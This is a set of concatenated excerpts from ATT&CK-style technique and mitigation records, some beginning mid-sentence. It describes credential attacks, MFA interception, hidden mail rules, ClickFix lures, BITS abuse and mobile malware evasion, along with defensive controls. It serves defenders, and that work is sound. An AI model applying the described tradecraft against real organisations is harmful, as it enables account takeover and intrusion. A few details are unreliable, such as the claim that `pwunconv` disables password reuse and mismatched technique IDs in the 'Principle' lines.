brute-force attempts against MFA systems.\n- Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations.\n\nTraining and Policy Enforcement:\n\n- Educate employees on the importance of MFA and secure authenticator usage.\n- Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.\n\n## Password Policies\nSet and enforce secure password policies for accounts to reduce the likelihood of unauthorized access. Strong password policies include enforcing password complexity, requiring regular password changes, and preventing password reuse. This mitigation can be implemented through the following measures:\n\nWindows Systems:\n\n- Use Group Policy Management Console (GPMC) to configure:\n- Minimum password length (e.g., 12+ characters).\n- Password complexity requirements.\n- Password history (e.g., disallow last 24 passwords).\n- Account lockout duration and thresholds.\n\nLinux Systems:\n\n- Configure Pluggable Authentication Modules (PAM):\n- Use `pam_pwquality` to enforce complexity and length requirements.\n- Implement `pam_tally2` or `pam_faillock` for account lockouts.\n- Use `pwunconv` to disable password reuse.\n\nPassword Managers:\n\n- Enforce usage of enterprise password managers (e.g., Bitwarden, 1Password, LastPass) to generate and store strong passwords.\n\nPassword Blacklisting:\n\n- Use tools like Have I Been Pwned password checks or NIST-based blacklist solutions to prevent users from setting compromised passwords.\n\nRegular Auditing:\n\n- Periodically audit password policies and account configurations to ensure compliance using tools like LAPS (Local Admin Password Solution) and vulnerability scanners.\n\n*Tools for Implementation*\n\nWindows:\n\n- Group Policy Management Console (GPMC): Enforce password policies.\n- Microsoft Local Administrator Password Solution (LAPS): Enforce random, unique admin passwords.\n\nLinux/macOS:\n\n- PAM Modules (pam_pwquality, pam_tally2, pam_faillock): Enforce password rules.\n- Lynis: Audit password policies and system configurations.\n\nCross-Platform:\n\n- Password Managers (Bitwarden, 1Password, KeePass): Manage and enforce strong passwords.\n- Have I Been Pwned API: Prevent the use of breached passwords.\n- NIST SP 800-63B compliant tools: Enforce password guidelines and blacklisting.\n\n## Principle\nAgainst T1021, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two."}]}

This can include employing technologies like network concentrators, RDP gateways, and zero-trust network access (ZTNA) models, alongside hardening services and protocols. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations.

This mitigation can be implemented through the following measures:\n- **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access.

Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords.\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.\n\nIn order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows \"logon failure\" event ID 4625 that is commonly triggered by failed SMB connection attempts.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\n- Sub-technique of: T1110 Brute Force - Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.

Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Containers, ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, SaaS, Windows\n- Sub-technique of: T1110 Brute Force - Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.\n\n**Mitigations.** - **Account Use Policies**: Account Use Policies help mitigate unauthorized access by configuring and enforcing rules that govern how and when accounts can be used. […]\n\n## Reference: ATT&CK T1111 Multi-Factor Authentication Interception\n**ATT&CK T1111 Multi-Factor Authentication Interception (full record).** Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms.\n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token.\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes).\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Linux, macOS, Windows\n\n**Mitigations.** - **User Training**: User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques.

The built-in Windows command-line utility Reg may be used for local or remote Registry modification. Other tools, such as remote access tools, may also contain functionality to interact with the Registry through the Windows API.\n\nThe Registry may be modified in order to hide configuration information or malicious payloads via Obfuscated Files or Information. The Registry may also be modified to impair defenses, such as by enabling macros for all Microsoft Office products, allowing privilege escalation without alerting the user, increasing the maximum number of allowed outbound requests, and/or modifying systems to store plaintext credentials in memory.\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. Often Valid Accounts are required, along with access to the remote system's SMB/Windows Admin Shares for RPC communication.\n\nFinally, Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.\n\n**Classification.** - Tactics: defense-impairment, persistence\n- Platforms: Windows\n\n**Mitigations.** - **Restrict Registry Permissions**: Restricting registry permissions involves configuring access control settings for sensitive registry keys and hives to ensure that only authorized users or processes can make modifications.

Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations. Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators. Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.\n\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions. Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives.\n\n**Classification.** - Tactics: collection\n- Platforms: Linux, macOS, Office Suite, Windows\n- Sub-technique of: T1114 Email Collection - Adversaries may target user email to collect sensitive information.

There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.\n\nSmart App Control is a feature of Windows that blocks applications it considers potentially malicious from running by verifying unsigned applications against a known safe list from a Microsoft cloud service before executing them. However, adversaries may leverage \"reputation hijacking\" to abuse an operating system’s trust of safe, signed applications that support the execution of arbitrary code. By leveraging Trusted Developer Utilities Proxy Execution to run their malicious code, adversaries may bypass Smart App Control protections.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Windows\n\n**Sub-techniques.** - T1127.001 MSBuild: Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio.\n- T1127.002 ClickOnce: Adversaries may use ClickOnce applications (.appref-ms and.application files) to proxy execution of code through a trusted Windows utility.\n- T1127.003 JamPlus: Adversaries may use `JamPlus` to proxy the execution of a malicious script. `JamPlus` is a build utility tool for code and data build systems.\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions.

The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP). They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter.\n\nLegitimate applications (such as Software Deployment Tools and other administrative programs) may utilize Remote Services to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer. Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.\n\n## Reference: ATT&CK M1050 Exploit Protection\n**ATT&CK M1050 Exploit Protection (full record).** Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits.

This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n\nRemove Legacy Software:\n\n- Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe Flash).\n- Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date.\n\nDisable Unused Features:\n\n- Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required.\n- Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue.\n\nControl Applications Installed by Users:\n\n- Use Case: Prevent users from installing unauthorized software via group policies or other management tools.\n- Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment.\n\nRemove Unnecessary Services:\n\n- Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices.\n- Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations.\n\nRestrict Add-ons and Plugins:\n\n- Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes.\n- Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks.\n\n## Multi-factor Authentication\nMulti-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n\n- *Something you know*: Passwords, PINs.\n- *Something you have*: Physical tokens, smartphone authenticator apps.\n- *Something you are*: Biometric data such as fingerprints, facial recognition, or retinal scans.\n\nImplementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures:\n\nIdentity and Access Management (IAM):\n\n- Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles.\n- Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations).\n- Enable Conditional Access policies to only allow logins from trusted devices, such as those enrolled in Intune or joined via Hybrid/Entra.\n\nAuthentication Tools and Methods:\n\n- Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP).\n- Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security.\n- Enforce biometric authentication for compatible devices and applications.\n\nSecure Legacy Systems:\n\n- Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet.\n- Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins.\n\nMonitoring and Alerting:\n\n- Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems.\n- Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations.\n\nTraining and Policy Enforcement:\n\n- Educate employees on the importance of MFA and secure authenticator usage.\n- Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.\n\n## User Account Management\nUser Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\nEnforcing the Principle of Least Privilege\n\n- Implementation: Assign users only the minimum permissions required to perform their job functions. Regularly audit accounts to ensure no excess permissions are granted.\n- Use Case: Reduces the risk of privilege escalation by ensuring accounts cannot perform unauthorized actions.\n\nImplementing Strong Password Policies\n\n- Implementation: Enforce password complexity requirements (e.g., length, character types). Require password expiration every 90 days and disallow password reuse.\n- Use Case: Prevents adversaries from gaining unauthorized access through password guessing or brute force attacks.\n\nManaging Dormant and Orphaned Accounts\n\n- Implementation: Implement automated workflows to disable accounts after a set period of inactivity (e.g., 30 days). Remove orphaned accounts (e.g., accounts without an assigned owner) during regular account audits.\n- Use Case: Eliminates dormant accounts that could be exploited by attackers.\n\nAccount Lockout Policies\n\n- Implementation: Configure account lockout thresholds (e.g., lock accounts after five failed login attempts). Set lockout durations to a minimum of 15 minutes.\n- Use Case: Mitigates automated attack techniques that rely on repeated login attempts.\n\nMulti-Factor Authentication (MFA) for High-Risk Accounts\n\n- Implementation: Require MFA for all administrative accounts and high-risk users. Use MFA mechanisms like hardware tokens, authenticator apps, or biometrics.\n- Use Case: Prevents unauthorized access, even if credentials are stolen.\n\nRestricting Interactive Logins\n\n- Implementation: Restrict interactive logins for privileged accounts to specific secure systems or management consoles. Use group policies to enforce logon restrictions.\n- Use Case: Protects sensitive accounts from misuse or exploitation.\n\n*Tools for Implementation*\n\nBuilt-in Tools:\n\n- Microsoft Active Directory (AD): Centralized account management and RBAC enforcement.\n- Group Policy Object (GPO): Enforce password policies, logon restrictions, and account lockout policies.\n\nIdentity and Access Management (IAM) Tools:\n\n- Okta: Centralized user provisioning, MFA, and SSO integration.\n- Microsoft Azure Active Directory: Provides advanced account lifecycle management, role-based access, and conditional access policies.\n\nPrivileged Account Management (PAM):\n- CyberArk, BeyondTrust, Thycotic: Manage and monitor privileged account usage, enforce session recording, and JIT access.\n\n## Principle\nAgainst T1021.004, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T1627.001 Geofencing\n**ATT&CK T1627.001 Geofencing (full record).** Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.\n\nGeofencing is accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device’s location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements.\n\nOne method to accomplish Geofencing on Android is to use the built-in Geofencing API to automatically trigger certain behaviors when the device enters or exits a specified radius around a geographical location. Similar to other Geofencing methods, this requires that the user has granted the `ACCESS_FINE_LOCATION` and `ACCESS_BACKGROUND_LOCATION` permissions. The latter is only required if the application targets Android 10 (API level 29) or higher. However, Android 11 introduced additional permission controls that may restrict background location collection based on user permission choices at runtime. These additional controls include \"Allow only while using the app\", which will effectively prohibit background location collection.\n\nSimilarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call `requestWhenInUseAuthorization` or `requestAlwaysAuthorization`, depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device’s location, including one-time use and only when the application is running in the foreground.\n\nGeofencing can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific input prompts and/or advertisements. […]\n\n## Reference: ATT&CK T1628.001 Suppress Application Icon\n**ATT&CK T1628.001 Suppress Application Icon (full record).** A malicious application could suppress its icon from being displayed to the user in the application launcher. This hides the fact that it is installed, and can make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions.\n\nThis behavior has been seen in the BankBot/Spy Banker family of malware.\n\nBeginning in Android 10, changes were introduced to inhibit malicious applications’ ability to hide their icon. If an app is a system app, requests no permissions, or does not have a launcher activity, the application’s icon will be fully hidden. Further, if the device is fully managed or the application is in a work profile, the icon will be fully hidden. Otherwise, a synthesized activity is shown, which is a launcher icon that represents the app’s details page in the system settings. If the user clicks the synthesized activity in the launcher, they are taken to the application’s details page in the system settings.\n\n**Classification.** - Tactics: defense-evasion\n- Platforms: Android\n- Sub-technique of: T1628 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Mobile operating systems have features and developer APIs to hide various artifacts, such as an application’s launcher icon.\n\n**Mitigations.** - **Use Recent OS Version**: New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered. They may also bring improvements that block use of observed adversary techniques.\n- **User Guidance**: Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.\n\n**Detection strategies and analytics.** - **Detection of Suppress Application Icon**\n  - For Android, detect Suppress Application Icon from documented management, network, or vetting evidence; treat state queries as periodic observations rather than real-time events.

facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via Upload Malware, and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: Match Legitimate Resource Name or Location).\n\n**Classification.** - Tactics: execution\n- Platforms: IaaS, Containers\n- Sub-technique of: T1204 User Execution - An adversary may rely upon specific actions by a user in order to gain execution.

One such strategy is \"ClickFix,\" in which adversaries present users with seemingly helpful solutions—such as prompts to fix errors or complete CAPTCHAs—that instead instruct the user to copy and paste malicious code.\n\nMalicious websites, such as those used in Drive-by Compromise, may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine.\n\nAdversaries may also leverage phishing emails for this purpose.

This method is effective against known threats.\n- Use Case: When malware like \"Emotet\" is detected, its signature (such as a specific file hash) matches a known database of malicious software, triggering an alert and allowing immediate quarantine of the infected file.\n\nHeuristic-Based Detection:\n\n- Implementation: Deploy heuristic algorithms that analyze behavior and characteristics of files and processes to identify potential malware, even if it doesn’t match a known signature.\n- Use Case: If a program attempts to modify multiple critical system files or initiate suspicious network communications, heuristic analysis may flag it as potentially malicious, even if no specific malware signature is available.\n\nBehavioral Detection (Behavior Prevention):\n\n- Implementation: Use behavioral analysis to detect patterns of abnormal activities, such as unusual system calls, unauthorized file encryption, or attempts to escalate privileges.\n- Use Case: Behavioral analysis can detect ransomware attacks early by identifying behavior like mass file encryption, even before a specific ransomware signature has been identified.\n\nReal-Time Scanning:\n\n- Implementation: Enable real-time scanning to automatically inspect files and network traffic for signs of malware as they are accessed, downloaded, or executed.\n- Use Case: When a user downloads an email attachment, the antivirus solution scans the file in real-time, checking it against both signatures and heuristics to detect any malicious content before it can be opened.\n\nCloud-Assisted Threat Intelligence:\n\n- Implementation: Use cloud-based threat intelligence to ensure the antivirus solution can access the latest malware definitions and real-time threat feeds from a global database of emerging threats.\n- Use Case: Cloud-assisted antivirus solutions quickly identify newly discovered malware by cross-referencing against global threat databases, providing real-time protection against zero-day attacks.\n\n**Tools for Implementation**:\n\n- Endpoint Security Platforms: Use solutions such as EDR for comprehensive antivirus/antimalware protection across all systems.\n- Centralized Management: Implement centralized antivirus management consoles that provide visibility into threat activity, enable policy enforcement, and automate updates.\n- Behavioral Analysis Tools: Leverage solutions with advanced behavioral analysis capabilities to detect malicious activity patterns that don’t rely on known signatures.\n\n## Execution Prevention\nPrevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\nApplication Control:\n\n- Use Case: Use tools like AppLocker or Windows Defender Application Control (WDAC) to create whitelists of authorized applications and block unauthorized ones. On Linux, use tools like SELinux or AppArmor to define mandatory access control policies for application execution.\n- Implementation: Allow only digitally signed or pre-approved applications to execute on servers and endpoints. (e.g., `New-AppLockerPolicy -PolicyType Enforced -FilePath \"C:\\Policies\\AppLocker.xml\"`)\n\nScript Blocking:\n\n- Use Case: Use script control mechanisms to block unauthorized execution of scripts, such as PowerShell or JavaScript. Web Browsers: Use browser extensions or settings to block JavaScript execution from untrusted sources.\n- Implementation: Configure PowerShell to enforce Constrained Language Mode for non-administrator users. (e.g., `Set-ExecutionPolicy AllSigned`)\n\nExecutable Blocking:\n\n- Use Case: Prevent execution of binaries from suspicious locations, such as `%TEMP%` or `%APPDATA%` directories.\n- Implementation: Block execution of `.exe`, `.bat`, or `.ps1` files from user-writable directories.\n\nDynamic Analysis Prevention:\n- Use Case: Use behavior-based execution prevention tools to identify and block malicious activity in real time.\n- Implemenation: Employ EDR solutions that analyze runtime behavior and block suspicious code execution.\n\n## Principle\nAgainst T1036.008, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T0842 Network Sniffing\n**ATT&CK T0842 Network Sniffing (full record).** Network sniffing is the practice of using a network interface on a computer system to monitor or capture information regardless of whether it is the specified destination for the information.\n\nAn adversary may attempt to sniff the traffic to gain information about the target. This information can vary in the level of importance. Relatively unimportant information is general communications to and from machines. Relatively important information would be login information. User credentials may be sent over an unencrypted protocol, such as Telnet, that can be captured and obtained through network packet analysis.\n\nIn addition, ARP and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\n**Classification.** - Tactics: discovery\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Privileged Account Management**: Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.\n- **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Restrict network access to only required systems and services. In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems.\n- **Multi-factor Authentication**: Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator. Within industrial control environments assets such as low-level controllers, workstations, and HMIs have real-time operational control and safety requirements which may restrict the use of multi-factor.\n- **Encrypt Network Traffic**: Utilize strong cryptographic techniques and protocols to prevent eavesdropping on network communications.\n- **Static Network Configuration**: Configure hosts and devices to use static network configurations when possible, protocols that require dynamic discovery/addressing (e.g., ARP, DHCP, DNS) can be used to manipulate network message forwarding and enable various AiTM attacks. […]\n\n## Reference: ATT&CK T0843 Program Download\n**ATT&CK T0843 Program Download (full record).** Adversaries may perform a program download to transfer a user program to a controller.\n\nVariations of program download, such as online edit and program append, allow a controller to continue running during the transfer and reconfiguration process without interruption to process control. However, before starting a full program download (i.e., download all) a controller may need to go into a stop state. This can have negative consequences on the physical process, especially if the controller is not able to fulfill a time-sensitive action. Adversaries may choose to avoid a download all in favor of an online edit or program append to avoid disrupting the physical process. An adversary may need to use the technique Detect Operating Mode or Change Operating Mode to make sure the controller is in the proper mode to accept a program download.\n\nThe granularity of control to transfer a user program in whole or parts is dictated by the management protocol (e.g., S7CommPlus, TriStation) and underlying controller API. Thus, program download is a high-level term for the suite of vendor-specific API calls used to configure a controllers user program memory space.\n\nModify Controller Tasking and Modify Program represent the configuration changes that are transferred to a controller via a program download.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Embedded\n\n**Sub-techniques.** - T0843.003 Program Append: Adversaries may execute a program append to a PLC to update parts of an existing program.\n- T0843.001 Download All: Adversaries may execute a full program download to a PLC to overwrite the entire PLC program and configuration to deploy a new project or make major changes.\n- T0843.002 Online Edit: Adversaries may execute an online edit of a PLC to update parts of an existing program.\n\n**Mitigations.** - **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs. […]"}]}

Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.\n\nAdversaries may abuse BITS to download (e.g. Ingress Tool Transfer), execute, and even clean up after running malicious code (e.g. Indicator Removal). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).\n\nBITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.\n\n**Classification.** - Tactics: stealth, persistence, execution\n- Platforms: Windows\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n- **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration. This mitigation can be implemented through the following measures:\n- **Operating System Configuration**: Operating System Configuration involves adjusting system settings and hardening the default configurations of an operating system (OS) to mitigate adversary exploitation and prevent abuse of system functionality. […]\n\n## Reference: ATT&CK T1199 Trusted Relationship\n**ATT&CK T1199 Trusted Relationship (full record).** Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, Valid Accounts used by the other party for access to internal network systems may be compromised and used.\n\nIn Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.\n\n**Classification.** - Tactics: initial-access\n- Platforms: IaaS, Identity Provider, Linux, macOS, Office Suite, SaaS, Windows\n\n**Mitigations.** - **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n- **Network Segmentation**: Network segmentation involves dividing a network into smaller, isolated segments to control and limit the flow of traffic between devices, systems, and applications. By segmenting networks, organizations can reduce the attack surface, restrict lateral movement by adversaries, and protect critical assets from compromise.

